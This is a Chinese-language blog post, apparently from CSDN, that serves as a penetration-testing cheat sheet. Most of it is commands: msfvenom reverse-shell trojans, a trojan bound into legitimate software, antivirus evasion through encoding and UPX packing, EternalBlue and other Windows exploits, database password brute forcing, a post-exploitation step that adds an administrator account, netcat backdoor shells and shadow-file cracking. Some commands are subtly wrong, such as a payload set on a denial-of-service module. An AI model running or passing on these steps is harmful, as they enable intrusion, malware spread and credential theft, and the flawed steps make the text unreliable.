一、msf框架
1、
生成木马程序: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘0x00’ LHOST=192.168.123.126 LPORT=5555 -f exe > asd.exe
进入程序:msfconsole
使用handler模块:use exploit/multi/handler
设置PAYLOAD:set PAYLOAD windows/meterpreter/reverse_tcp
设置控制端ip和端口:set lhost
set lport
攻击:exploit
2、正常软件绑定木马程序
生成木马:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.123.126 lport=5555 -x 网易云音乐.exe -k -f exe -o 网易云音乐.exe
3、杀毒软件免杀木马程序
生成木马:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -x calc.exe lhost=192.168.123.126 lport=444 -f exe -o calc2.exe
加壳算法:upx -5 calc2.exe
4、永恒之蓝
查找永恒之蓝模块:search ms17_010
使用漏洞攻击模块: use exploit/windows/smb/ms17_010_eternalblue
设置payload:set payload windows/x64/meterpreter/reverse_tcp
设置目标机ip地址和本地地址
5、MS08_067对winXP
查找模块:search MS08_067
使用漏洞攻击模块: use exploit/windows/smb/MS08_067_netapi
设置payload:set payload windows/shell/reverse_tcp
show options
设置目标机ip地址和本地地址
show targets设置攻击目标系统set target id
6、ms10-046攻击winXP
查找漏洞:search ms10-046;
选择模块:use exploit/windows/browser/ms10-046_shortcut_icon_dllloader;
设置反弹回来:set payload windows/meterpreter/reverse_tcp
查看需要设置那些参数:show options;
只需设置自己ip;
攻击exploit生成共享链接;
查看会话:sessions -l;
选择会话:sessions -i 1;
7、ms12-020蓝屏攻击
查找漏洞:search ms12-020;
选择模块:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids;
设置反弹回来:set payload windows/meterpreter/reverse_tcp
查看需要设置那些参数:show options;
设置对方ip-rhost;
攻击exploit生成共享链接;
查看会话:sessions -l;
选择会话:sessions -i 1;
8、破解mysql口令
扫描:
查找漏洞:search mysql_version;
选择模块:use auxiliary/scaner/mysql/mysql_version;
查看需要设置那些参数:show option;
设置对方ip地址范围;
设置线程;
破解:
查 找漏洞:search mysql_login;
选择模块:use auxiliary/scaner/mysql/mysql_login ;
查看需要设置的参数:show options;
设置密码文件;
设置用户文件;
设置线程;
设置rhost;
run;
9、搭建mssql数据库
10、msf框架破解msspl数据库弱口令
扫描:
①nmap -sV 192.168.123.14
②msf:
search mssal_ping;
use auxiliary/scanner/mssql/mssql_ping;
set rhost;
run;
暴力破解:
search mssql_login;
use auxiliary/scaner/mssql/mssql_login;
set usernamer sa;
set pass_file /root/passwd.txt//指定密码字典文件
set threads 5 //设置线程
set rhost 192.168..;//设置对方ip地址
set rport *; //设置对方端口
run;
后渗透:
search mssql_exec;
use…;
show options;
set CMD cmd.exec /c ;
run;
set CMD cmd.exe /c net user demouuser 123456 /add&net localgroup administrator demouser /add; //添加用户
run;//执行
11、linux版本:netCat通信和返回shell(瑞士军刀)
服务器:nc -l -p 4444;
客户端:nc ip地址 端口;
返回shell :nc -l -p 4444 -e cmd.exe
12、使用netCat在被控window计算机建立后门
①、监听型控制win10并提权
a、cmd操作运行nc.exe -l -p 4444 -e cmd.exe
b、客户端Linux: nc IP地址 端口
②、自动连接型
a、 linux: nc -l -p 4444
b、win10: nc.exe ip 端口 -e cmd.exe
13、使用netCat在被控linux计算机建立后门
①、监听型控制linux1并提权
a、cmd操作运行nc.exe -l -p 4444 -e /bin/bash
b、客户端Linux2: nc IP地址 端口
②、自动连接型
a、 linux1: nc -l -p 4444
b、linux2: nc.exe ip 端口 -e cmd.exe
14、John the ripper暴力破解密码
①整合密码文件:unshadow /etc/passwd /etc/shadow > test_passwd
②查找自带字典文件:cat /user/share/jphn/password.lst
③添加密码
④john (可以指定字典文件的路径) test_passwd
15、crunch自定义生成密码字典文件
crunch 2 3 123
touch /tmp/passwd.txt
crunch 2 3 abc >> /tmp/passwd.txt
16、Nessus主机漏洞扫描工具配置
安装Nessus、开启服务、通过链接配置
17、linux安装钟道之眼
18、httrack 网站克隆工具
可以实现离线浏览网页
19、使用搜索引擎实现被动信息搜集
https://www.toutiao.com/c/user/110503190700/#mid=1630059338802187
搜索网站登录后台
后台管理 inurl:admin
查询标题和url含有指定词汇的结果
intitle:黑客 inurl:hacker
site:toutiao.com //搜索网站子域名
20、Fping 进行主机扫描
fping -g 192.168.0.100 192.168.0.120 //范围扫描
-a 显示存活主机
-f 导入ip文件
-l 循环模式
来源:CSDN
作者::-D!!yzq
链接:https://blog.csdn.net/weixin_42419952/article/details/102877880